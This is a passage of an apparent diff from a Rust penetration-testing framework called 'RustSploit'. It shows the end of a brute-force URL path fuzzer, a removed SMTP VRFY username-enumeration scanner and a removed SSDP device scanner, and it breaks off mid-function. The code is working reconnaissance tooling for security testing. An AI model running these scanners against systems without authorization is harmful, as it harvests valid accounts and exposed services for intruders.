// We do this by attempting to acquire ALL permits.
// This will block until all active tasks release their permits.
println!("Generation done. Waiting for active tasks to complete...");
let _ = sem.acquire_many(config.concurrency as u32).await;
// Stop Writer
let _ = tx.send(WriterMessage::Stop).await;
let final_buffer = writer_handle.await?;
println!("\n{}", "Scan Complete. Sorting results...".blue());
// 6. Sort and Final Save
let mut total_403 = 0;
for (status, mut results) in final_buffer {
if status == 403 {
total_403 += results.len();
}
results.sort_by(|a, b| b.size.cmp(&a.size)); // Descending size
let file_path = format!("{}/sorted_{}.txt", out_dir, status);
let mut content = String::new();
for r in results {
// Avoid unwrap on string write (very unlikely to fail on memory, but strictness requested)
let _ = writeln!(content, "[Size: {}] {}", r.size, r.path);
}
fs::write(&file_path, content)?;
println!("Saved sorted results for status {} to {}", status, file_path.green());
}
if total_403 > 0 && !config.verbose {
println!("{}", format!("\n[*] Aggregated {} '403 Forbidden' responses. (Use verbose mode to see them)", total_403).yellow());
}
Ok(())
}
// Iterative generator that spawns tasks (Base-N Counting)
async fn spawn_combinations_iterative(
client: &Client,
config: &SequentialFuzzerConfig,
charset: &[char],
length: usize,
sem: &Arc<Semaphore>,
tx: &mpsc::Sender<WriterMessage>
) {
if charset.is_empty() || length == 0 { return; }
// Performance: Parse headers ONCE, not per iteration
let mut base_headers = header::HeaderMap::new();
if let Some(c) = &config.cookies {
if let Ok(val) = c.parse() {
base_headers.insert(header::COOKIE, val);
}
}
// Indices for each position in the string (0 to charset.len()-1)
let mut indices = vec![0; length];
let charset_len = charset.len();
loop {
// 1. Build String from Indices
let current_payload: String = indices.iter().map(|&i| charset[i]).collect();
// 2. Execute Task Logic
// Safety: Handle semaphore error (closed) gracefully
let permit = match sem.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => {
// Semaphore closed or poisoned, stop generation
return;
}
};
let client = client.clone();
let tx = tx.clone();
let base = config.target_url.clone();
let encoding = config.encoding;
let headers = base_headers.clone(); // Clone ARC-like/cheap map? No, HeaderMap clone is relatively cheap but doing it here is necessary for async move.
// Apply encoding
let encoded_payload = encode_payload(&current_payload, encoding);
let url = format!("{}{}", base, encoded_payload);
tokio::spawn(async move {
let _permit = permit; // drop when task done (releases semaphore)
let req = client.get(&url).headers(headers);
// Safety: Handle send errors (don't unwrap)
if let Ok(resp) = req.send().await {
let status = resp.status().as_u16();
let size = resp.content_length().unwrap_or(0);
let res = FuzzResult {
path: url,
status,
size,
};
// If receiver dropped, we just stop sending.
let _ = tx.send(WriterMessage::Result(res)).await;
}
});
// 3. Increment Indices (Standard Base-N Carry)
let mut carry = true;
for i in (0..length).rev() {
indices[i] += 1;
if indices[i] < charset_len {
carry = false;
break; // No carry needed, valid state found
}
indices[i] = 0; // Reset this position and carry to left
}
if carry {
return;
}
}
}
-865
View File
@@ -1,865 +0,0 @@
//! SMTP Username Enumeration Scanner Module
//!
//! Enumerates usernames on an SMTP server using the VRFY command.
//! Supports wordlist-based enumeration with concurrent scanning.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::path::Path;
use std::sync::{Arc, Mutex};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::time::{Duration, Instant};
use telnet::{Telnet, Event};
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_SMTP_PORT: u16 = 25;
const DEFAULT_THREADS: usize = 10;
const DEFAULT_TIMEOUT_MS: u64 = 3000;
/// If username wordlist is larger than this, switch to streaming mode
const STREAMING_THRESHOLD_BYTES: u64 = 50 * 1024 * 1024; // 50 MB
struct Statistics {
total_checked: AtomicU64,
valid_users: AtomicU64,
invalid_users: AtomicU64,
error_attempts: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_checked: AtomicU64::new(0),
valid_users: AtomicU64::new(0),
invalid_users: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_check(&self, valid: bool, error: bool) {
self.total_checked.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if valid {
self.valid_users.fetch_add(1, Ordering::Relaxed);
} else {
self.invalid_users.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_checked.load(Ordering::Relaxed);
let valid = self.valid_users.load(Ordering::Relaxed);
let invalid = self.invalid_users.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} checked | {} valid | {} invalid | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
valid.to_string().green(),
invalid,
errors.to_string().red(),
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
fn print_final(&self) {
println!();
let total = self.total_checked.load(Ordering::Relaxed);
let valid = self.valid_users.load(Ordering::Relaxed);
let invalid = self.invalid_users.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total checked: {}", total);
println!(" Valid users: {}", valid.to_string().green().bold());
println!(" Invalid users: {}", invalid);
println!(" Errors: {}", errors.to_string().red());
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} checks/s", total as f64 / elapsed);
}
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SMTP Username Enumeration Scanner ║".cyan());
println!("{}", "║ Enumerates usernames using SMTP VRFY command ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
#[derive(Clone)]
struct SmtpUserEnumConfig {
/// Raw target strings (IP/hostname) before normalization
targets: Vec<String>,
/// Port used for all targets
port: u16,
/// Username wordlist path
username_wordlist: String,
/// Number of worker threads
threads: usize,
/// Per-connection timeout in milliseconds
timeout_ms: u64,
/// Verbose output flag
verbose: bool,
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Initial target: {}", target).cyan());
println!();
println!("{}", "[ Configuration Menu ]".bold().green());
println!(" 1. Single target (use current target only)");
println!(" 2. Targets from file (ignore current target)");
println!(" 3. Current target + targets from file");
println!();
let mode = prompt("Select mode [1-3] (default 1): ")?;
// Build initial target list based on selected mode
let mut targets: Vec<String> = Vec::new();
match mode.trim() {
"2" => {
let file_path = prompt("Targets file (one IP/hostname per line): ")?;
if file_path.trim().is_empty() {
return Err(anyhow!("Targets file path cannot be empty in mode 2"));
}
let loaded = load_targets_from_file(file_path.trim())?;
if loaded.is_empty() {
return Err(anyhow!("No valid targets loaded from file"));
}
targets.extend(loaded);
}
"3" => {
if !target.trim().is_empty() {
targets.push(target.trim().to_string());
}
let file_path = prompt("Additional targets file (one IP/hostname per line): ")?;
if file_path.trim().is_empty() {
return Err(anyhow!("Targets file path cannot be empty in mode 3"));
}
let loaded = load_targets_from_file(file_path.trim())?;
if loaded.is_empty() {
return Err(anyhow!("No valid additional targets loaded from file"));
}
targets.extend(loaded);
}
// Default: mode 1 single target only
_ => {
if !target.trim().is_empty() {
targets.push(target.trim().to_string());
}
}
}
let port = prompt_port(DEFAULT_SMTP_PORT)?;
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
let threads = prompt_threads(DEFAULT_THREADS)?;
let timeout_ms = prompt_timeout(DEFAULT_TIMEOUT_MS)?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
if targets.is_empty() {
return Err(anyhow!("No targets specified for SMTP enumeration"));
}
let config = SmtpUserEnumConfig {
targets,
port,
username_wordlist,
threads,
timeout_ms,
verbose,
};
run_smtp_user_enum(config).await
}
async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
// Normalize and validate all targets
let mut normalized_targets: Vec<(String, String)> = Vec::new();
for raw in &config.targets {
match normalize_target(raw, config.port) {
Ok(addr) => normalized_targets.push((raw.clone(), addr)),
Err(e) => {
println!(
"{}",
format!("[!] Skipping target '{}': {}", raw, e).yellow()
);
}
}
}
if normalized_targets.is_empty() {
return Err(anyhow!("All targets failed validation/normalization"));
}
// Decide whether to load usernames into memory or stream line-by-line
let metadata = std::fs::metadata(&config.username_wordlist)
.with_context(|| format!("Failed to stat username wordlist: {}", config.username_wordlist))?;
let size_bytes = metadata.len();
let use_streaming = size_bytes > STREAMING_THRESHOLD_BYTES;
if !use_streaming {
let usernames = read_lines(&config.username_wordlist)?;
if usernames.is_empty() {
return Err(anyhow!("Username wordlist is empty."));
}
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
println!(
"{}",
format!(
"[*] Total targets: {} (port {})",
normalized_targets.len(),
config.port
)
.cyan()
);
println!("{}", format!("[*] Threads: {}", config.threads).cyan());
println!("{}", format!("[*] Timeout: {}ms", config.timeout_ms).cyan());
println!();
let found = Arc::new(Mutex::new(Vec::new()));
let unknown = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
// Queue work: every username against every target (in-memory mode)
for (raw_target, addr) in &normalized_targets {
for username in &usernames {
tx.send((raw_target.clone(), addr.clone(), username.clone()))?;
}
}
drop(tx);
// Start progress reporter thread
let progress_stop = Arc::clone(&stop_flag);
let progress_stats = Arc::clone(&stats);
let progress_handle = std::thread::spawn(move || {
while !progress_stop.load(Ordering::Relaxed) {
progress_stats.print_progress();
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
}
});
// Worker threads
for _ in 0..config.threads {
let rx = rx.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let unknown = Arc::clone(&unknown);
let stats = Arc::clone(&stats);
let config = config.clone();
pool.execute(move || {
while let Ok((raw_target, addr, username)) = rx.recv() {
if stop_flag.load(Ordering::Relaxed) {
break;
}
match verify_smtp_user(&addr, &username, config.timeout_ms) {
Ok(Some(response)) => {
println!(
"\r{}",
format!(
"[+] VALID: {}@{} - {}",
username,
raw_target,
response.trim()
)
.green()
.bold()
);
let mut users = found.lock().unwrap_or_else(|e| e.into_inner());
users.push((
format!("{}@{}", username, raw_target),
response.trim().to_string(),
));
stats.record_check(true, false);
}
Ok(None) => {
stats.record_check(false, false);
if config.verbose {
println!(
"\r{}",
format!("[-] Invalid: {}@{}", username, raw_target).dimmed()
);
}
}
Err(e) => {
stats.record_check(false, true);
let msg = e.to_string();
if msg.starts_with("Unknown VRFY response for '") {
{
let mut unk = unknown.lock().unwrap_or_else(|e| e.into_inner());
unk.push((
format!("{}@{}", username, raw_target),
msg.clone(),
));
}
if config.verbose {
eprintln!(
"\r{}",
format!(
"[?] {}@{} -> {}",
username, raw_target, msg
)
.yellow()
);
}
} else if config.verbose {
eprintln!("\r{}", format!("[!] {}: {}", username, msg).red());
}
}
}
}
});
}
pool.join();
// Stop progress reporter
stop_flag.store(true, Ordering::Relaxed);
let _ = progress_handle.join();
// Final reporting including unknown responses
return finalize_and_report(found, unknown, stats).await;
}
// Streaming mode for very large username lists
let size_mb = (size_bytes as f64) / (1024.0 * 1024.0);
println!(
"{}",
format!(
"[*] Large username wordlist detected (~{:.1} MB) streaming line by line",
size_mb
)
.cyan()
);
println!(
"{}",
format!(
"[*] Total targets: {} (port {})",
normalized_targets.len(),
config.port
)
.cyan()
);
println!("{}", format!("[*] Threads: {}", config.threads).cyan());
println!("{}", format!("[*] Timeout: {}ms", config.timeout_ms).cyan());
println!();
let found = Arc::new(Mutex::new(Vec::new()));
let unknown = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
// Producer thread: read usernames file line-by-line and enqueue work
{
let targets_clone = normalized_targets.clone();
let path_clone = config.username_wordlist.clone();
let tx_clone = tx.clone();
std::thread::spawn(move || {
if let Err(e) =
enqueue_streaming_usernames(&path_clone, &targets_clone, tx_clone)
{
eprintln!(
"\r{}",
format!("[!] Username producer error: {}", e).red()
);
}
});
}
drop(tx);
// Start progress reporter thread
let progress_stop = Arc::clone(&stop_flag);
let progress_stats = Arc::clone(&stats);
let progress_handle = std::thread::spawn(move || {
while !progress_stop.load(Ordering::Relaxed) {
progress_stats.print_progress();
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
}
});
// Worker threads
for _ in 0..config.threads {
let rx = rx.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let unknown = Arc::clone(&unknown);
let stats = Arc::clone(&stats);
let config = config.clone();
pool.execute(move || {
while let Ok((raw_target, addr, username)) = rx.recv() {
if stop_flag.load(Ordering::Relaxed) {
break;
}
match verify_smtp_user(&addr, &username, config.timeout_ms) {
Ok(Some(response)) => {
println!(
"\r{}",
format!(
"[+] VALID: {}@{} - {}",
username,
raw_target,
response.trim()
)
.green()
.bold()
);
let mut users = found.lock().unwrap_or_else(|e| e.into_inner());
users.push((
format!("{}@{}", username, raw_target),
response.trim().to_string(),
));
stats.record_check(true, false);
}
Ok(None) => {
stats.record_check(false, false);
if config.verbose {
println!(
"\r{}",
format!("[-] Invalid: {}@{}", username, raw_target).dimmed()
);
}
}
Err(e) => {
stats.record_check(false, true);
let msg = e.to_string();
if msg.starts_with("Unknown VRFY response for '") {
{
let mut unk = unknown.lock().unwrap_or_else(|e| e.into_inner());
unk.push((
format!("{}@{}", username, raw_target),
msg.clone(),
));
}
if config.verbose {
eprintln!(
"\r{}",
format!(
"[?] {}@{} -> {}",
username, raw_target, msg
)
.yellow()
);
}
} else if config.verbose {
eprintln!("\r{}", format!("[!] {}: {}", username, msg).red());
}
}
}
}
});
}
pool.join();
// Stop progress reporter
stop_flag.store(true, Ordering::Relaxed);
let _ = progress_handle.join();
// Final reporting including unknown responses
finalize_and_report(found, unknown, stats).await
}
/// Verify a username using SMTP VRFY command
/// Returns Ok(Some(response)) if user exists, Ok(None) if user doesn't exist, Err on connection/protocol error
fn verify_smtp_user(addr: &str, username: &str, timeout_ms: u64) -> Result<Option<String>> {
let socket = addr
.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(timeout_ms))
.context("Connection timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(timeout_ms)))?;
stream.set_write_timeout(Some(Duration::from_millis(timeout_ms)))?;
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
let timeout = Duration::from_millis(timeout_ms);
// Read initial banner (220 response)
let mut banner_ok = false;
let start = Instant::now();
while start.elapsed() < timeout {
match telnet.read() {
Ok(Event::Data(data)) => {
let response = String::from_utf8_lossy(&data);
if response.starts_with("220") {
banner_ok = true;
break;
}
}
Ok(_) => continue,
Err(_) => break,
}
}
if !banner_ok {
return Err(anyhow!("No 220 banner received"));
}
// Send VRFY command
let vrfy_cmd = format!("VRFY {}\r\n", username);
telnet.write(vrfy_cmd.as_bytes())?;
// Read VRFY response
let start = Instant::now();
let mut response_text = String::new();
while start.elapsed() < timeout {
match telnet.read() {
Ok(Event::Data(data)) => {
let response = String::from_utf8_lossy(&data);
response_text.push_str(&response);
// Check for valid user responses (250, 251)
if response.starts_with("250") || response.starts_with("251") {
// User exists
telnet.write(b"QUIT\r\n").ok();
return Ok(Some(response_text.trim().to_string()));
}
// Check for invalid user responses (550, 551, 553)
if response.starts_with("550") || response.starts_with("551") || response.starts_with("553") {
// User doesn't exist
telnet.write(b"QUIT\r\n").ok();
return Ok(None);
}
// Check for ambiguous response (252 - cannot verify)
if response.starts_with("252") {
// Server explicitly refuses to verify (VRFY disabled) treat as error
telnet.write(b"QUIT\r\n").ok();
return Err(anyhow!("Server returned 252 (cannot VRFY) for user '{}'", username));
}
// If we got a complete response line but no known status code, treat as unknown
if response.contains("\r\n") {
telnet.write(b"QUIT\r\n").ok();
return Err(anyhow!(
"Unknown VRFY response for '{}': {}",
username,
response.trim()
));
}
}
Ok(_) => continue,
Err(_) => break,
}
}
// If we didn't get a clear response, treat as error
telnet.write(b"QUIT\r\n").ok();
Err(anyhow!("No valid VRFY response received"))
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Failed to open file: {}", path))?;
Ok(BufReader::new(file)
.lines()
.filter_map(Result::ok)
.filter(|s| !s.trim().is_empty())
.collect())
}
fn enqueue_streaming_usernames(
path: &str,
targets: &[(String, String)],
tx: crossbeam_channel::Sender<(String, String, String)>,
) -> Result<()> {
let file = File::open(path).context(format!("Failed to open username wordlist: {}", path))?;
let reader = BufReader::new(file);
for line in reader.lines() {
let line = line?;
let username = line.trim();
if username.is_empty() || username.starts_with('#') {
continue;
}
let username_owned = username.to_string();
for (raw_target, addr) in targets {
tx.send((raw_target.clone(), addr.clone(), username_owned.clone()))?;
}
}
Ok(())
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Failed to open targets file: {}", path))?;
let reader = BufReader::new(file);
let mut targets = Vec::new();
for line in reader.lines() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
continue;
}
targets.push(trimmed.to_string());
}
Ok(targets)
}
async fn finalize_and_report(
found: Arc<Mutex<Vec<(String, String)>>>,
unknown: Arc<Mutex<Vec<(String, String)>>>,
stats: Arc<Statistics>,
) -> Result<()> {
// Print final statistics
stats.print_final();
let found_guard = found.lock().unwrap_or_else(|e| e.into_inner());
if found_guard.is_empty() {
println!("{}", "[-] No valid usernames found.".yellow());
} else {
println!(
"{}",
format!("[+] Found {} valid username(s):", found_guard.len())
.green()
.bold()
);
for (username, response) in found_guard.iter() {
println!(" {} {} - {}", "".green(), username, response);
}
if prompt("\nSave valid usernames? (y/n): ")?
.trim()
.eq_ignore_ascii_case("y")
{
let filename = prompt("What should the valid results be saved as?: ")?;
if filename.is_empty() {
println!("{}", "[-] Filename cannot be empty.".red());
} else {
save_results(&filename, &found_guard)?;
println!("{}", format!("[+] Results saved to {}", filename).green());
}
}
}
drop(found_guard);
let unknown_guard = unknown.lock().unwrap_or_else(|e| e.into_inner());
if !unknown_guard.is_empty() {
println!(
"{}",
format!(
"[?] Collected {} unknown VRFY response(s).",
unknown_guard.len()
)
.yellow()
.bold()
);
if prompt("Save unknown responses to file? (y/n): ")?
.trim()
.eq_ignore_ascii_case("y")
{
let default_name = "smtp_unknown_responses.txt";
let filename =
prompt(&format!("What should the unknown results be saved as? [{}]: ", default_name))?;
let chosen = if filename.trim().is_empty() {
default_name.to_string()
} else {
filename.trim().to_string()
};
if let Err(e) = save_unknown_responses(&chosen, &unknown_guard) {
println!(
"{}",
format!("[!] Failed to save unknown responses: {}", e).red()
);
} else {
println!(
"{}",
format!("[+] Unknown responses saved to {}", chosen).green()
);
}
}
}
Ok(())
}
fn save_results(path: &str, users: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new()
.create(true)
.write(true)
.truncate(true)
.open(path)?;
writeln!(file, "# SMTP Username Enumeration Results")?;
writeln!(file, "# Generated by RustSploit SMTP User Enum Scanner")?;
writeln!(file, "# Total: {} valid username(s)", users.len())?;
writeln!(file)?;
for (username, response) in users {
writeln!(file, "{} - {}", username, response)?;
}
Ok(())
}
fn save_unknown_responses(path: &str, entries: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new()
.create(true)
.write(true)
.truncate(true)
.open(path)?;
writeln!(file, "# SMTP Unknown VRFY Responses")?;
writeln!(file, "# Generated by RustSploit SMTP User Enum Scanner")?;
writeln!(file, "# Total: {} unknown response(s)", entries.len())?;
writeln!(file)?;
for (identity, response) in entries {
writeln!(file, "{} - {}", identity, response)?;
}
Ok(())
}
fn prompt(msg: &str) -> Result<String> {
print!("{}", msg);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut buffer = String::new();
std::io::stdin()
.read_line(&mut buffer)
.context("Failed to read input")?;
Ok(buffer.trim().to_string())
}
fn prompt_port(default: u16) -> Result<u16> {
loop {
let input = prompt(&format!("SMTP Port (default {}): ", default))?;
if input.is_empty() {
return Ok(default);
}
match input.parse::<u16>() {
Ok(0) => println!("{}", "[!] Port cannot be zero. Please enter a value between 1 and 65535.".yellow()),
Ok(port) => return Ok(port),
Err(_) => println!("{}", "[!] Invalid port. Please enter a number between 1 and 65535.".yellow()),
}
}
}
fn prompt_threads(default: usize) -> Result<usize> {
loop {
let input = prompt(&format!("Threads (default {}): ", default))?;
if input.is_empty() {
return Ok(default.max(1));
}
if let Ok(value) = input.parse::<usize>() {
if value >= 1 && value <= 1024 {
return Ok(value);
}
}
println!("{}", "[!] Invalid thread count. Please enter a value between 1 and 1024.".yellow());
}
}
fn prompt_timeout(default: u64) -> Result<u64> {
loop {
let input = prompt(&format!("Timeout in milliseconds (default {}): ", default))?;
if input.is_empty() {
return Ok(default);
}
match input.parse::<u64>() {
Ok(value) if value >= 100 && value <= 60000 => return Ok(value),
Ok(_) => println!("{}", "[!] Timeout must be between 100 and 60000 milliseconds.".yellow()),
Err(_) => println!("{}", "[!] Invalid timeout. Please enter a number.".yellow()),
}
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char))?;
if input.is_empty() {
return Ok(default_yes);
}
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "[!] Please respond with y or n.".yellow()),
}
}
}
fn prompt_wordlist(message: &str) -> Result<String> {
loop {
let response = prompt(message)?;
if response.is_empty() {
println!("{}", "[!] Path cannot be empty.".yellow());
continue;
}
let trimmed = response.trim();
if Path::new(trimmed).is_file() {
return Ok(trimmed.to_string());
} else {
println!(
"{}",
format!("[!] File '{}' does not exist or is not a regular file.", trimmed).yellow()
);
}
}
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$").context("Failed to compile regex")?;
let t = host.trim();
let cap = re
.captures(t)
.ok_or_else(|| anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).map(|m| m.as_str()).ok_or_else(|| anyhow!("Target address missing"))?;
let p = cap
.get(2)
.map(|m| m.as_str().parse::<u16>().ok())
.flatten()
.unwrap_or(port);
let formatted = if addr.contains(':') && !addr.starts_with('[') {
format!("[{}]:{}", addr, p)
} else {
format!("{}:{}", addr, p)
};
if formatted.to_socket_addrs()?.next().is_none() {
Err(anyhow!("DNS resolution failed: {}", formatted))
} else {
Ok(formatted)
}
}
-447
View File
@@ -1,447 +0,0 @@
use anyhow::{Context, Result};
use colored::*;
use regex::Regex;
use std::collections::HashMap;
use std::fs::File;
use std::io::Write;
use std::net::SocketAddr;
use std::time::Instant;
use tokio::net::UdpSocket;
use tokio::time::{timeout as tokio_timeout, Duration};
/// SSDP Search Target types
#[derive(Clone, Debug)]
enum SearchTarget {
RootDevice,
All,
Custom(String),
}
impl SearchTarget {
fn st_header(&self) -> &str {
match self {
SearchTarget::RootDevice => "upnp:rootdevice",
SearchTarget::All => "ssdp:all",
SearchTarget::Custom(st) => st,
}
}
}
fn display_banner() {
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSDP M-SEARCH Scanner ║".cyan());
println!("{}", "║ Discovers UPnP devices via SSDP protocol ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port = prompt_port().unwrap_or(1900);
let timeout_secs = prompt_timeout().unwrap_or(3);
let retries = prompt_retries().unwrap_or(1);
let verbose = prompt_verbose().unwrap_or(false);
let save_results = prompt_save_results().unwrap_or(false);
let target = clean_ipv6_brackets(target);
// Validate target format
let _ = normalize_target(&target, port)
.with_context(|| format!("Failed to normalize target '{}'", target))?;
// Determine search targets
let search_targets = prompt_search_targets()?;
println!();
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
let mut found_any = false;
let mut results = Vec::new();
let start_time = Instant::now();
for (idx, st) in search_targets.iter().enumerate() {
if search_targets.len() > 1 {
println!(
"{}",
format!("[*] Trying ST: {} ({}/{})", st.st_header(), idx + 1, search_targets.len())
.cyan()
);
}
for attempt in 1..=retries {
if retries > 1 {
println!(" [*] Attempt {}/{}", attempt, retries);
}
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
Ok(Some(response)) => {
found_any = true;
let result = parse_ssdp_response(&response, &target, port, st.st_header());
if let Some(r) = result {
results.push(r);
}
break; // Success, no need to retry
}
Ok(None) => {
if verbose {
println!(" {} No response received", "[-]".dimmed());
}
}
Err(e) => {
if verbose {
eprintln!(" {} Error: {}", "[!]".yellow(), e);
}
}
}
// Small delay between retries
if attempt < retries {
tokio::time::sleep(Duration::from_millis(500)).await;
}
}
}
let elapsed = start_time.elapsed();
// Print statistics
println!();
println!("{}", "=== Scan Statistics ===".bold());
println!(" Target: {}:{}", target, port);
println!(" Search types: {}", search_targets.len());
println!(" Retries: {}", retries);
println!(" Devices found: {}", if found_any {
results.len().to_string().green().to_string()
} else {
"0".red().to_string()
});
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
if !found_any {
println!();
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
}
// Save results if requested
if save_results && !results.is_empty() {
let filename = format!("ssdp_scan_{}.txt", target.replace([':', '.', '[', ']'], "_"));
if let Ok(mut file) = File::create(&filename) {
writeln!(file, "SSDP M-SEARCH Scan Results").ok();
writeln!(file, "Target: {}:{}", target, port).ok();
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64()).ok();
writeln!(file).ok();
for result in &results {
writeln!(file, "{}", result).ok();
}
println!("{}", format!("[+] Results saved to '{}'", filename).green());
}
}
Ok(())
}
async fn send_ssdp_request(
target: &str,
port: u16,
st: &SearchTarget,
timeout: Duration,
verbose: bool,
) -> Result<Option<String>> {
let local_bind: SocketAddr = "0.0.0.0:0".parse()
.context("Failed to parse local bind address")?;
let socket = UdpSocket::bind(local_bind).await
.context("Failed to bind UDP socket")?;
let remote_addr: SocketAddr = format!("{}:{}", target, port).parse()
.with_context(|| format!("Failed to parse remote address {}:{}", target, port))?;
socket.connect(&remote_addr).await
.with_context(|| format!("Failed to connect to {}:{}", target, port))?;
let request = format!(
"M-SEARCH * HTTP/1.1\r\n\
HOST: {}:{}\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: {}\r\n\
ST: {}\r\n\
USER-AGENT: RustSploit/1.0\r\n\r\n",
target,
port,
timeout.as_secs().max(1),
st.st_header()
);
if verbose {
println!(" [*] Sending request:\n{}", request.dimmed());
}
socket.send(request.as_bytes()).await
.context("Failed to send SSDP request")?;
let mut buf = vec![0u8; 4096]; // Increased buffer size for larger responses
match tokio_timeout(timeout, socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]).to_string();
Ok(Some(response))
}
Ok(Err(e)) => Err(anyhow::anyhow!("Failed to receive response: {}", e)),
Err(_) => Ok(None), // Timeout
}
}
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
fn normalize_target(target: &str, port: u16) -> Result<String> {
let addr = if target.contains(':') && !target.contains(']') {
// Plain IPv6 without brackets
format!("[{}]:{}", target, port)
} else if target.contains('[') {
// Already bracketed IPv6 (sanitize just in case)
format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port)
} else {
// IPv4 or hostname
format!("{}:{}", target, port)
};
Ok(addr)
}
/// Cleans up accidental double or triple brackets like [[::1]] → ::1
fn clean_ipv6_brackets(ip: &str) -> String {
ip.trim_start_matches('[')
.trim_end_matches(']')
.to_string()
}
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
if std::io::stdout().flush().is_err() {
return None;
}
let mut input = String::new();
if std::io::stdin()
.read_line(&mut input)
.is_ok()
{
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(p) = input.parse::<u16>() {
return Some(p);
}
}
None
}
/// Ask user for timeout in seconds
fn prompt_timeout() -> Option<u64> {
print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
if std::io::stdout().flush().is_err() {
return None;
}
let mut input = String::new();
if std::io::stdin()
.read_line(&mut input)
.is_ok()
{
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(t) = input.parse::<u64>() {
if t > 0 && t <= 60 {
return Some(t);
}
}
}
None
}
/// Ask user for number of retries
fn prompt_retries() -> Option<u32> {
print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
if std::io::stdout().flush().is_err() {
return None;
}
let mut input = String::new();
if std::io::stdin()
.read_line(&mut input)
.is_ok()
{
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(r) = input.parse::<u32>() {
if r > 0 && r <= 10 {
return Some(r);
}
}
}
None
}
/// Ask user for verbose mode
fn prompt_verbose() -> Option<bool> {
print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
if std::io::stdout().flush().is_err() {
return None;
}
let mut input = String::new();
if std::io::stdin()
.read_line(&mut input)
.is_ok()
{
let input = input.trim().to_lowercase();
match input.as_str() {
"y" | "yes" => return Some(true),
